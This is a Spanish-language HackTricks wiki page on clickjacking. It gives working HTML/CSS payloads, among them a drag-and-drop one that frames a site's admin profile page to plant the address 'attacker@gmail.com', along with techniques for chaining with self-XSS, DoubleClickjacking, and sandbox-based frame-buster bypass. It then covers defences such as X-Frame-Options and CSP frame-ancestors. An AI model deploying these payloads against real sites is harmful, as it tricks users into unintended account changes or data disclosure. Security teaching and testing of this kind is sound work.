Clickjacking
Reading time: 9 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué es Clickjacking
En un ataque de clickjacking, un/a usuario es engañado para hacer clic en un elemento de una página web que es invisible o está disfrazado como otro elemento. Esta manipulación puede provocar consecuencias no deseadas para el usuario, como la descarga de malware, la redirección a páginas web maliciosas, la entrega de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.
Truco de prellenado de formularios
A veces es posible rellenar el valor de los campos de un formulario usando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para completar un formulario con datos arbitrarios y enviar el payload de clickjacking para que el usuario pulse el botón Enviar.
Populate form with Drag&Drop
Si necesitas que el usuario complete un formulario pero no quieres pedirle directamente que escriba información específica (como el email o una contraseña concreta que conoces), puedes simplemente pedirle que Drag&Drop algo que escribirá tus datos controlados, como en este ejemplo.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload en varios pasos
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si has identificado un XSS que requiere que un usuario haga clic en algún elemento para activar el XSS y la página es vulnerable a clickjacking, podrías abusar de ello para engañar al usuario y que haga clic en el botón/enlace.
Ejemplo:
Has encontrado un self XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes configurar y leer). La página con el form para establecer esos detalles es vulnerable a Clickjacking y puedes prepopulate el form con los GET parameters.
Un atacante podría preparar un ataque de Clickjacking contra esa página prepopulating el form con el XSS payload y engañando al usuario para que envíe el formulario. Así, cuando se envíe el formulario y los valores se modifiquen, el usuario ejecutará el XSS.
DoubleClickjacking
Firstly explained in this post, esta técnica pediría a la víctima que haga doble clic en un botón de una página personalizada colocada en una ubicación específica, y usaría las diferencias de tiempo entre los eventos mousedown y onclick para cargar la página de la víctima durante el doble clic de modo que la víctima realmente haga clic en un botón legítimo en la página de la víctima.
Un ejemplo puede verse en este video: https://www.youtube.com/watch?v=4rGvRRMrD18
Un ejemplo de código puede encontrarse en this page.
warning
Esta técnica permite engañar al usuario para que haga clic en un único lugar de la página de la víctima sortando todas las protecciones contra clickjacking. Por eso el atacante debe encontrar acciones sensibles que se puedan realizar con un solo clic, como OAuth prompts accepting permissions.
Browser extensions: DOM-based autofill clickjacking
Además de iframing las páginas de la víctima, los atacantes pueden apuntar a elementos de la UI de las browser extensions que se inyectan en la página. Password managers renderizan autofill dropdowns cerca de los inputs enfocados; al enfocar un campo controlado por el atacante y ocultar/ocludir el dropdown de la extensión (trucos de opacity/overlay/top-layer), un clic forzado del usuario puede seleccionar un elemento almacenado y rellenar datos sensibles en inputs controlados por el atacante. Esta variante no requiere exposición mediante iframe y funciona completamente vía DOM/CSS manipulation.
- For concrete techniques and PoCs see:
Strategies to Mitigate Clickjacking
Client-Side Defenses
Los scripts ejecutados en el cliente pueden realizar acciones para prevenir Clickjacking:
- Asegurarse de que la ventana de la aplicación es la ventana principal o top window.
- Hacer visibles todos los frames.
- Prevenir clics en frames invisibles.
- Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.
Sin embargo, estos frame-busting scripts pueden ser eludidos:
- Browsers' Security Settings: Algunos navegadores podrían bloquear estos scripts según sus ajustes de seguridad o por la falta de soporte de JavaScript.
- HTML5 iframe sandbox Attribute: Un atacante puede neutralizar los frame buster scripts estableciendo el atributo sandbox con los valores allow-forms o allow-scripts sin allow-top-navigation. Esto impide que el iframe verifique si es la top window, por ejemplo,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Los valores allow-forms y allow-scripts permiten acciones dentro del iframe mientras deshabilitan la navegación a nivel superior. Para asegurar la funcionalidad prevista del sitio objetivo, podrían ser necesarios permisos adicionales como allow-same-origin y allow-modals, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden indicar qué permisos permitir.
Server-Side Defenses
X-Frame-Options
La X-Frame-Options HTTP response header informa a los navegadores sobre la legitimidad de renderizar una página en un o
- X-Frame-Options: deny - Ningún dominio puede incrustar el contenido.
- X-Frame-Options: sameorigin - Solo el mismo origen puede incrustar el contenido.
- X-Frame-Options: allow-from https://trusted.com - Solo el 'uri' especificado puede incrustar la página.
- Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP es el método recomendado para la protección contra Clickjacking:
- frame-ancestors 'none' - Similar to X-Frame-Options: deny.
- frame-ancestors 'self' - Similar to X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Similar to X-Frame-Options: allow-from.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador para cargar contenido.
frame-src Directive
- Defines valid sources for frames.
- More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite frames del mismo origen (self) y https://trusted-website.com.
child-src Directiva
- Introducida en CSP nivel 2 para establecer fuentes válidas para web workers y frames.
- Actúa como fallback para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames y workers desde el mismo origen (self) y https://trusted-website.com.
Notas de uso:
- Deprecación: child-src está siendo eliminado en favor de frame-src y worker-src.
- Comportamiento de fallback: Si frame-src está ausente, child-src se usa como fallback para frames. Si ambos están ausentes, se usa default-src.
- Definición estricta de fuentes: Incluya únicamente fuentes de confianza en las directivas para prevenir explotación.
Scripts frame-busting en JavaScript
Aunque no son completamente infalibles, los scripts frame-busting basados en JavaScript pueden usarse para evitar que una página web sea enmarcada. Ejemplo:
if (top !== self) {
top.location = self.location
}
Uso de Anti-CSRF Tokens
- Validación de tokens: Utiliza anti-CSRF tokens en aplicaciones web para asegurar que las solicitudes que cambian el estado se realicen intencionalmente por el usuario y no a través de una página Clickjacked.
Referencias
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks